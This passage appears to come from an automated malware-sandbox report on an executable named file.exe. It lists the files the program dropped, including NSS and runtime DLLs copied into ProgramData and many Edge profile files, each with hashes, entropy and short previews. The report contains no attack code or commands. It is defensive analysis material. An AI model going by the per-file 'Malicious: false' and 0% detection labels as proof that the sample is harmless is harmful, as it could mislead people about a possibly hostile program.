Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0d4b3d2f-e1f2-4dc6-8eca-abc3c9ff55ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46170
Entropy (8bit):	6.085993593654824
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgxaqWKKGf4Vpa2CpY5hArXt8wMuCioO7DRo+yM/42cRaLMos75:ZMk1rT8HRaN4XphFoO7VLyMV/Yos1
MD5:	EE520445B7B40E549AEC2A8A5E45AEC5
SHA1:	379012E99D44418B0F8B74BBA80E88490F11E4E3
SHA-256:	C7C6C9179991AD65338D5AF2EB763C25DD9B7055E3BFA32702B5A08729688CA6
SHA-512:	CC8B05125A23496090B28461DB928C707E1F0FCDD080D9B70F6F6DE128956887020DF2AA9B2FC77DE5C25FDA5950FC8B464373042571F9D31A478CC0B5DD9EEC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9099092-a399-40aa-ac89-78a436c2e078"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731882996"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1ee64539-1d8a-4310-bdcc-3471cd609660.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46294
Entropy (8bit):	6.085725760312251
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgXaMPWKKGf4VDa2CpY5hArXt8wMuCioO7DRo+yM/42cRaLMos1:ZMk1rT8H3aMOyXphFoO7VLyMV/Yos1
MD5:	B103E0701E9655430984E8494333E586
SHA1:	FE31CECBB23E6999B9B84A2EE1CA78024E2BC8A4
SHA-256:	BC25E42161B860E5956AF93628384AA191DA44EEAF0FCC3B868154697C79C004
SHA-512:	8ECA9338EB226211AE18E99FCA7775BB0021D152D19E7832611FC3061879E01924CB5FDE5F57528392A0CD5CEB4CB068281C0132AFCFDC4ABCD742428C1D7E6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9099092-a399-40aa-ac89-78a436c2e078"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731882996"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\24c6b1ce-d996-47bc-beeb-594e4abf1b7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2d67fa2b-e652-41ba-bb65-c0d42e7412cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46294
Entropy (8bit):	6.085725474240138
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgXnMPWKKGf4VDa2CpY5hArXt8wMuCioO7DRo+yM/42cRaLMos1:ZMk1rT8H3nMOyXphFoO7VLyMV/Yos1
MD5:	F4ED8D9DF0DBC5E9E4D69A08A9F4E2F6
SHA1:	06064D8AB359E97B6E9BEDDA38D25A7AA72B6BEE
SHA-256:	F76E17EA001CCFF65F575813F53DD4B27BF1E8363AD59E813719715BF18F004D
SHA-512:	0504EB44D518F8DA723FCADFCEE94CFFB6D8D99BF41438E9A0D2D890CB190DC448CAB0469BC4519A2DB4245C259459CE59727A2EA4A0A56F75512F527E6CA1BB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9099092-a399-40aa-ac89-78a436c2e078"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731882996"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\32c1e781-9e3c-4929-84d7-62ef649a92f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44699
Entropy (8bit):	6.094578772881999
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/dKKGf4VLyg1BKYN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynhpN7VLyMV/YoskFoz
MD5:	19786B37889BB768D09E5864B86DE0A4
SHA1:	BE80690410061D604C46FFCA56231706012E82D3
SHA-256:	3BB5085909F052C64BD520067FCAB9362BC4C9E0A1844945B9CFF4CE86B656A0
SHA-512:	30DA1009559027A155B02DD405C136F6194B6E0C523CE2C573E1A59A555A1771A8D8D4C7A2B66D363F9CD6D74952E64D125DAA1730D42423F87DC9EF9356CA2C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\57017c6e-f2af-4c3d-82bc-2018ef7781a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44777
Entropy (8bit):	6.095155393565644
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xYdKKGf4Vpa2CpY5hArN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yO24N7VLyMV/YoskFoz
MD5:	009D1335C1EB6FCB3729A10302CEF595
SHA1:	713A04E80659A0F7DD1E6B8A0D2611DF7E7D9CCF
SHA-256:	AD46DC0EAE051E17C4AFBF017530C5BCAAF62AF8A41E9431CD1A7D3DB868933B
SHA-512:	7FFA56C40DA5F80A25D1A16FE0E9C57070FE842DEA297CC1B7B28734C68C2898E8A00C5E364FCBCAB77966CBA32A9498ED5598A3FB8795F2A4FB683A0B0B230D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\88ea6bd1-f2f9-4f62-bba4-6ab0001ea57e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44699
Entropy (8bit):	6.094578772881999
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/dKKGf4VLyg1BKYN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynhpN7VLyMV/YoskFoz
MD5:	19786B37889BB768D09E5864B86DE0A4
SHA1:	BE80690410061D604C46FFCA56231706012E82D3
SHA-256:	3BB5085909F052C64BD520067FCAB9362BC4C9E0A1844945B9CFF4CE86B656A0
SHA-512:	30DA1009559027A155B02DD405C136F6194B6E0C523CE2C573E1A59A555A1771A8D8D4C7A2B66D363F9CD6D74952E64D125DAA1730D42423F87DC9EF9356CA2C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8f82af55-dfc1-4b69-aead-7e47ebfd7cf2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46217
Entropy (8bit):	6.085811397672441
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgxaMPWKKGf4Vpa2CpY5hArXt8wMuCioO7DRo+yM/42cRaLMos1:ZMk1rT8HRaMO4XphFoO7VLyMV/Yos1
MD5:	6961FE41BC53222F19B4680333944034
SHA1:	DD782AB4F89563CA37920DFCCE6695AD37B9DA2C
SHA-256:	8B6143C37A1BB4674BAF9802BDFD05144FB96337143151EB0782DCE8DE24C7F6
SHA-512:	447002721E3D25E7C712CED62A83D9C2ACA4B2719B4D39B0FEB7871297BECA162B96E1246ABDAE3FAD076C74871A8606E3B59EEB4F36B36123225C6C1057D7D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9099092-a399-40aa-ac89-78a436c2e078"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731882996"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\3772fdf8-d7ee-4bf2-aa47-fb3b35a60677.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673A6FED-1D84.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.49268475702052456
Encrypted:	false
SSDEEP:	6144:9brn5VCpNkc617dl2lqQ6O8qu4WaHHtg:Ekc07bE
MD5:	82ECD2D4DB17B25947D12D175689D997
SHA1:	0FA6507EEA56CDF42A3807FD96F5C4D1578B6A37
SHA-256:	1A8C4BE64EEC5B146C568A6D9D9D2B564121209A612B2BD775A843701FFF6C90
SHA-512:	0893F49ACA47B92D8DC1F8551462DADA76D75E3A19A8A37802F2561E776A4553DAC4BE0469BA08E230D965D598D4CB669E8EF90AE23111D5BEADEFD03579AC22
Malicious:	false
